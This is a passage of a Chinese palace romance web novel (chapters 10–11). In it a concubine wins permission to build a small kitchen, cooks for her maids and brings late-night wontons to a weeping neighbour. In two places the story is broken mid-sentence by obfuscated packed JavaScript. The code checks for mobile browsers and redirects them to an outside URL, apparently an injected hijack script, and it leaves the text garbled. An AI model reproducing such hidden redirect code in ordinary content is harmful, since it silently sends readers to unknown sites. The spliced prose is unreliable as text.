《宠妃摆烂路漫漫》 10. 求砌小厨房 “娘娘明鉴,妾自幼身子不好,又在江南乡下长大,吃食这方面被养的格外精细,有时这天气变幻莫测,妾便要用上那药碗。今儿个事情虽然说解决了,可妾想着,与其日后麻烦御膳房再出什么岔子,给娘娘添乱,不如……” 她顿了顿,带着期冀的目光投向皇后:“不如请娘娘允了妾在自己的院子里砌个小灶台,偶尔自己开开火。妾是个嘴馋的,如此一来解了妾的馋,也省得御膳房的人日后左右为难。娘娘您看,这岂不是两全齐美的法子?” 这话说的可不客气,一旁的嬷嬷听了都忍不住抽了抽嘴角。 皇后却没什么反应,反而细细打量起眼前这个女子来。沈氏进宫不过几日,就碰上住所偏僻,膳食被克扣的事情,要换做旁人,多半就忍气吞声,或是哭哭啼啼找人诉苦。 可这位倒好,直接来找自己告状,告完了还不走,还顺杆遛往上爬,竟是求起小厨房来了。 胆子倒是不小。 皇后似笑非笑的看着她:“沈美人,你可知道私设小厨房,在宫里可是犯忌讳的?” 沈兰珠眨眨眼睛:“妾知道,所以妾才来求皇后娘娘的恩典,不敢私自做主。若娘娘恩准,有娘娘发话,那就不叫私设了叫奉旨开火。” 皇后被她这话逗得轻笑一声,如今这后宫里多是无趣之人,这沈美人倒是个不同的,她端起一旁的茶盏抿了一口,没接话。 她不说话,沈兰珠倒也不着急,就在一旁干站着,时不时偷看她两眼,刚好又与皇后对上,收起面上的馋意做出一副恭顺的模样。 真是个古灵精怪的丫头。 “你倒是会说话,可你说,本宫若是准了你,往后旁的嫔妃也有样学样,都要砌小厨房,本宫这后宫还如何管?” 沈兰珠思索片刻,便回:“娘娘,妾以为旁人学不来的。” “哦?此言何意?” “因为旁人砌小说帮,许是想邀宠,许是想特立独行,让皇上或他人多看她们一眼。”她扳着手指认真道。 “可妾砌小厨房,真的只是想给自己做口热乎饭吃。妾这人是真的懒,不爱往人多的地方凑,往后有了小厨房,便能更好的安安分分待在自个院子里少出门惹事。您想,妾不争宠不惹事,也不乱嚼舌根,这样懒的人,娘娘上哪找第二个去?” 皇后被她这一番话说的忍俊不禁,她本就想允了,此刻更是摆摆手,语气里带着几分无奈的笑意:“沈美人,本宫这里,你倒是头一个把懒字说的这么理直气壮的人。罢了罢了,本宫瞧你也是个机灵的,准了。” “不过这丑话说在前头,你这小厨房只许你自己用,不能往外送吃食,更不许借此拉拢人心。若是让本宫发现……” “娘娘放心!”沈兰珠立马接上:“妾保证,那小厨房的东西只进妾一人的嘴,绝不多事,若有违背,任凭娘娘处置!” 皇后闻言满意的点点头:“行了,往后若有什么难处,也可直接来寻本宫,不必藏着掖着。” 沈兰珠心中一暖,再度行礼叩谢恩典:“多谢娘娘!娘娘大恩,妾铭记于心!” “天色不早了,你且回去吧。小茹,你送送她。” 沈兰珠应声退下,走到店门口时,忽然想起什么,回头朝皇后招手:“娘娘,往后妾若是做了好吃的,第一个送来给娘娘尝尝!妾一定悄悄的,绝不让人瞧见!” 皇后一愣,旋即失笑,指着她对身旁的嬷嬷道:“瞧瞧,这真是个聪明的。” 嬷嬷估摸着皇后的心思也笑着附和:“可不是,奴婢瞧这位沈美人如此会说话来事,日后怕是个有出息的。” 沈兰珠带着两个婢女走出老远,知书才长长的吐出一口气:“主子,您可真大胆,刚才奴婢吓得腿都软了!” 锦书也连连点头,在府上时,她是知道自家小姐胆大的,没想到如今入了宫,成了主子,她竟是丝毫不收敛的。 “怕什么?有理走遍天下,没理寸步难行,咱们有理自然不怕。” 知书还是有些担忧:“可是主子,今儿得罪了御膳房的人,往后他们会不会……” “不会。”沈兰珠脚步轻快:“可是皇后娘娘处置了他们,若是前脚受了罚,后脚就在我这里做手脚,只怕娘娘盛怒。再者说……” 她回头遥遥看了一眼身后后宫各妃宫殿的方向:“今日之事,怕是有人故意掺和,就不知是贤妃真是个蠢的还是别人动的手脚。” 她的私心认为,今日之事绝非是贤妃做的,要真是她做的,那也太明显了,前脚自己在她宴上出了“风头”,后脚就被打压克扣膳食,她认为贤妃不至于蠢成这样。 知书和锦书对视一眼,也想通了其通关键,这才放心下来。 回到揽月阁时,天色已黑。赵合听说这位主子去了皇后宫中,就守在院门口,见她们回来,连忙迎了上去:“小主,您回来了。” 沈兰珠自然知道他等在这里的原因朝他笑笑:“赵公公,明儿个的灶台,就劳烦你照常砌了。” “好嘞!小主您放心,奴才一定办得妥妥当当!” 第二天天刚蒙蒙亮,赵合就领着一个手艺娴熟的匠人,背着材料和工具进了揽月阁。 他们在院子空出的那个角落,借着杂物房的遮挡,叮叮当当的忙活起来。不过半日的功夫,一个由青砖垒成的小巧玲珑的灶台就诞生了。旁边还码了一堆放的整整齐齐的干柴,一口铁锅架在灶台上,旁边是一个橱柜,里头放着碗碟和一些做饭需要用到的东西。 沈兰珠亲自去检查了一下所有的东西,非常满意,又爽快的多给了赵合一锭银子。 赵合拿着银子千恩万谢的走了。 待匠人被送走,揽月阁早早关上院门,沈兰珠拉着好奇的几个婢子,站在崭新的小灶台前。 她不顾几人的反对,挽起袖子系上围裙,点燃了木头,火苗瞬间在灶膛里跳跃,映的沈兰珠那张满足的笑脸也在发光。 她当即倒上油,待油过了火,就打了个鸡蛋进去。 “滋啦”一声,炒鸡蛋的香气弥漫开来。接着倒入午间特意留下的米饭,撒上些许盐粒,再用锅铲反复翻炒,一碗金黄油亮的蛋炒饭很快就出锅了。 “你们可瞧仔细了?我日后的吃食,可要靠你们好好练练。”沈兰珠盛了一大碗,“锅里还有些,你们也都盛来吃了吧。” 主仆四人坐在石桌旁,吹着院里的微风。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319200|199029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈兰珠大口扒着饭,幸福的想哼歌,她觉得这宫里什么山珍海味都比不上这碗热腾腾的蛋炒饭啊! 当然,这个想法仅仅只是因为她的位份,还没到能够吃上山珍海味的地步,不过她近期并没有争宠的打算,所以这样就挺好了,先填饱肚子,再继续当一条快乐的咸鱼! 用完晚膳后几人在揽月阁里绕了几圈,就洗漱完躺下了。 沈南初躺在自己温暖的被窝里,整个人都散发出一种餍足的气息。 小厨房的存在让她心底对现状隐隐不满的减少了些,她翻了个身,正准备进入梦乡,去梦里见他心心念念的麻辣火锅小龙虾,还有喝不完的冰镇可乐等美食。 就在她迷迷糊糊即将与周公会面时,一阵细微的、压抑的声音,顺着夜风断断续续的又飘了过来。 “呜……呜呜……嗝……呜呜……” 沈兰珠:? 沈兰珠:我又撞鬼了? 那道声音很轻,像是被人用被子枕头捂住了嘴,只允许从喉咙里挤出悲伤调子。 沈兰珠眼睛刷的一下睁开,睡意全无。 她屏住呼吸,侧耳倾听,声音断断续续的从隔壁传来,没错,琴声好不容易停了两日,竟换成了哭声。 而且听这个动静,不知得哭的有多伤心。 沈兰珠脑海里瞬间冒出一个抱着琴嗷嗷大哭的Q版小人。 她晃晃脑子,将这个念头甩掉,她在暗中眨了眨眼睛,脑子里瞬间闪过好几个念头。 宫里该是有宵禁的吧,这人凭什么能哭得这么大声?难道就因为她们住的偏吗?再者半夜哭,也太不专业了吧,不仅皇帝听不见,还影响到旁人睡觉。 她这哭声传得如此远,万一被值夜的公公路过听见,岂不是给她自己招惹麻烦? 沈兰珠捂住耳朵,可那哭声如同魔音贯耳,她只得等等,等她哭完再睡。 只是左等右等着,这声音怎么不见停呢? 唉,真是的,怎么还在哭,吵死了。 沈兰珠在床上跟烙饼似的翻来覆去,那压抑的哭声,像是长了眼睛,直往她耳朵里钻,闹得他心烦意乱。 终于她受不了,猛的坐起身。 算求!睡不那去看看吧! 万一人家真是想不开,自己过去劝两句,劝好了也算行善积德,再说了,把人劝好了,不哭了,自己日后也能睡个安稳觉的,简直就是双赢! 这个念头一起,沈兰珠顿时觉得浑身充满了干劲,她也不困了,悄悄的爬下床,尽量不发出声音,摸黑套上一件素色的外袍,连头发都没梳,随手用一根布带子捆了捆就蹑手蹑脚的出了门。 今日值班的是知书和知画,知书觉多,几乎她刚躺下,这妮子就在里头脚榻上睡着了。 门口的知画就不是那么好绕过的了,果然她刚推开门,就见知画睡眼蒙眬的看着她。 “主子?您是要起夜吗?怎么不叫知书点了灯。” “嘘。” 沈兰珠竖起一根手指抵在她唇边示意她安静。 知画眨了眨眼点头表示自己明白了,就见主子凑过来附在她耳边悄声说:“你别声张,同我去看看隔壁那个哭神。” 11. 半夜哭嚎的李才人 经她这么一说,知画也突然意识到这哭声确实有些不对劲,不过她还是更担心主子的安慰,刚想劝。 “我有分寸,咱们去去就回,你若是不去,就在此守着。” 知画无奈,只得跟着去了。 晚风带着快入冬的凉意,吹在脸上刚好消散了白日的燥热,院子里头散发出正散着甜香,她深吸一口气,空气里满是桂花的味道,让她烦躁的心情都平复了不少。 明儿看看能不能让人整个桂花糕吃。 二人走到隔壁院墙的角门边,那哭声听得更加真切了。 “呜呜……我究竟哪里不好……为什么三年了……呜呜……皇上连我的名字都记不住……” 断断续续的抱怨和控诉夹在哭声里清晰的传了过来。 沈兰珠:…… 原来还真是经典的“职场失意,怀才不遇”的宫妃版哭诉剧本。 她叹了口气,心里的那点烦躁,不知怎的就化成了一点点同情,试想一个女子三年的青春就这样耗在宫里,日复一日的盼着一个可能永远都不会到来的人,这换谁谁不崩溃啊? 虽然他自己是想躲皇帝躲得远远的,但她能理解这种期望落空的痛苦,就好比你辛辛苦苦做了一整个季度的项目,就等着年终奖,结果老板年底的时候告诉你,公司效益不好,项目暂停奖金取消了。 那种感觉,简直想想就要原地爆炸。 就是贸然上去安慰的话,要说些什么?难道让她别哭了,天下男人多的是,下一个更乖?不对不对,这话好像不适用于后宫里的女人,而且听起来好像在挑衅对面。 实在不行,要不陪她一起哭吧? 沈兰珠想象了一下那个画面,几个女人围成个圈蹲下,脑袋碰在一起嚎啕大哭,她不由得打了个寒颤,觉得身上鸡皮疙瘩都起来了。 算了,她没有那么多眼泪,而且她也不想为了一个陌生人,耽误太久的睡眠时间。 她站在原地,绞尽脑汁的想着办法,晚风时不时的刮着,她的目光突然落在自己院子角落的小厨房上。 对哦!要不自己给她煮碗面吧? 对她来说没有什么是一碗热汤面解决不了的,如果有的话,那就再卧个荷包蛋!就算在现代,晚上加班的时候,有同事心情不好,她也会顺手多煮一碗泡面。 对于爱吃的人来说,美食的慰藉是最直接纯粹的。 她这位邻居三年无宠,想来也吃不好饭,加上心情不好,可不是到了晚上就嗷嗷大哭? 一碗热乎乎的宵夜下去,肠胃暖了,心可能也没那么冷了! 想到什么,说干就干! 沈兰珠立刻转身,小跑着进了自己的小厨房,知画在后头跟着她,仅用一秒就看穿了自家主子的心思,扶额苦笑,自己伺候的这位主子,可真是想一出是一出。 今天下午为了庆祝小厨房建成,沈兰珠特意让知书去御膳房领了些面粉和肉馅,本来说打算明天包饺子吃的,没想到这么快就能派上用场! 知画利索的帮她点火烧水,因是半夜,不好吵醒其他人,也未免被别人看见,两人并未开灯,就借着灶膛里跳动的火光,一人负责和面,一人负责擀皮。 说起来知画的动作也很熟练,沈兰珠知道她会做膳食时,简直就像捡到宝贝了,兴奋的逮着她的手晃来晃去。 不一会儿,一个个皮薄馅大的馄饨就整整齐齐的码在了案板上,刚好锅里的水也煮开了,挨个将馄饨丢进去,雪白的馄饨在沸水中翻滚,就是总感觉差了些什么? 沈兰珠双手抱胸沉思了几秒,她从杂物口袋里翻出了些紫菜葱花,还有一小把虾皮,将这些东西混在一起煮开。 等到捞起时,再舀一勺滚烫的清汤冲入碗中,顿时鲜香四溢。白瓷碗里,汤色清亮,小小的馄饨飘在上头,翠绿的葱花点缀其间,光是看着就让人食指大动。 热气熏得二人脸颊暖烘烘的。 沈兰珠满意的端着碗,还特意备了勺子,让知画小心翼翼的捧着这碗小馄饨,再次来到了隔壁的角门前。 她稍微清了清嗓子,抬手轻轻扣了扣门。 “喂——里面有人吗?”她把声音压得很低,生怕吓到里头的人:“请问你还好吗?” 里面的哭声戛然而止,过了好一会儿才传来一个带着浓厚鼻音、警惕万分的低哑嗓女音:“……谁?” “我是你隔壁的沈美人,”沈兰珠懒得花心思去组织语言,特别直截了当:“你晚上一直在哭,我睡不着,感觉你心情好像不太好,我做了点宵夜,你要不要吃一点?” 门内一片死寂。 沈兰珠都能想到门后那个人此刻大概是怎么样的表情。 也是,在这个步步为营,人心讽刺的后宫,半夜三更的,一个同为皇帝妃嫔的人敲开你的门,跟你说,我来给你送宵夜了。 这操作换做她是里头的人,她也觉得离谱。 她们在门外站了好一会儿,就在沈兰珠以为自己被当成了疯子,对方完全不会开门的时候,吱呀一声,门从里面拉开了一道小小的缝隙。 一双红肿的像核桃的眼睛从门缝里警惕的看过来。 那是一个看起来刚二十出头的女子,容貌清秀,只是此刻面色苍白,眼神里充满了戒备。 沈兰珠想的没错,住在这里的李才人刚刚在思考自己是不是遇见疯子了。 她只是在自己寝宫里面哭,怎么还招来别人了? 沈兰珠对他露出一个温和的笑容,示意知画将手里的碗往她面前递了过去。 “我刚煮的小馄饨,还热着呢,你要不要吃一点?” 李才人看了看面前的两个人,又看了看那只热气腾腾的碗,整个人都呆呆的。 她怕不是大半夜撞鬼了? “我想着你要是趁热吃点的话,心里至少会暖和一些?” 馄饨汤的鲜香直直钻入鼻腔,她努力的咽了咽口水,不让自己面上表露出很想吃的样,就是肚子不太听话,闻着有好吃的食物就咕噜咕噜叫起来了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320448|199029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >御书房内还灯火通明,顾司琮捏着朱笔,眉心拧成一个疙瘩。案上的奏折堆积如山,户部永远在哭穷如今说什么江南水灾赈灾款项缺口巨大,兵部又上奏说北京满族又有小规模的骚扰,吏部更是地上一长串官员贿赂提拔的名单。 这都没一个让他能省心。 眼睛因为长时间盯着奏折的原因,此刻发酸发涩,他将这几份奏折先扔到一边,抬手揉了揉发胀的太阳穴。 “陛下,夜深了,您该歇息了。”一个年长的声音在旁边响起。 李德全端着一碗温热的参茶,轻手轻脚走到龙案旁,他将茶杯放到顾司琮面前,伸出布满老茧的手指接替顾司琮的动作,不轻不重的为他按揉太阳穴。 恰到好处的力道让顾司琮紧绷的神经稍微松弛了一些,他靠在椅背上,闭上眼睛,长长的吐出一口气。 “这群人可一个个都等着朕给解决办法,真是会给朕找麻烦。”想到那几起奏折他嘲讽地勾了勾嘴角。 李德全手上的动作没停,嘴里陪笑着:“陛下睿智,如此小事,在您眼中都算不了什么,您可千万别为了这等事熬坏了身子,总归还是龙体要紧,你要是受累了,谁来为这天下万民做主呢?” 也就是他是顾司琮的贴身太监打小看着顾司琮长大,才敢像这般说话,要是换了其他人,那就是妄议朝政的罪。 他的按摩手法让顾司琮紧锁的眉头舒展了些许,耳中的嗡鸣也没了不少。 李德全瞧着皇上身体没那么紧绷了,心里也暗暗松了口气,他打小就伺候顾司琮,如今也是真的心疼他。 身在皇位,看着说万人之上,十分威风,实则也是个操心的命。就近几日后宫那些个娘娘们,都没能见着皇上,近敬事房的总管可是找他诉苦了好几回,要不是今日借着贤妃的席面露了个脸,怕是得等到初一十五去太后宫中请安才能见着了。 李德全一边按一边在心里盘算着说点什么给皇上解解闷,他眼珠子一转,想起了大选时的一个美人,这位美人今天可传了一件沸沸扬扬的趣事出来。 “陛下,奴才今个倒是听了件新鲜事儿。” 顾司琮闭着眼睛,懒洋洋的嗯了一声,权当是听着了。 “陛下可还记得,新入宫的那批秀女里头,有个叫沈美人的?”李德全小心翼翼观察着皇帝的神情,见他果然来了兴趣继续说到:“据说这性子跟旁人可不大一样。” “哦?”顾司琮声音里听不出什么情绪,但眉梢挑了挑,对他而言,后宫那些女人争宠的手段都千篇一律,不是琴棋书画诗词歌赋,就是煲汤送点心,他早就腻味了。 但这沈美人他还是有印象的,下午在贤妃宫里唱曲儿的那位嘛!还害得贤妃在他面前念叨了好几句。 “她怎么个不一样法?是学了什么斗奇斗艳的法子,还是往自己院里种了什么奇花异草,就等着朕去瞧?” “那倒没有。”李德全笑的脸上的褶子都深了,“奴才听说,这位沈美人……在自己小院里砌了个灶台呢”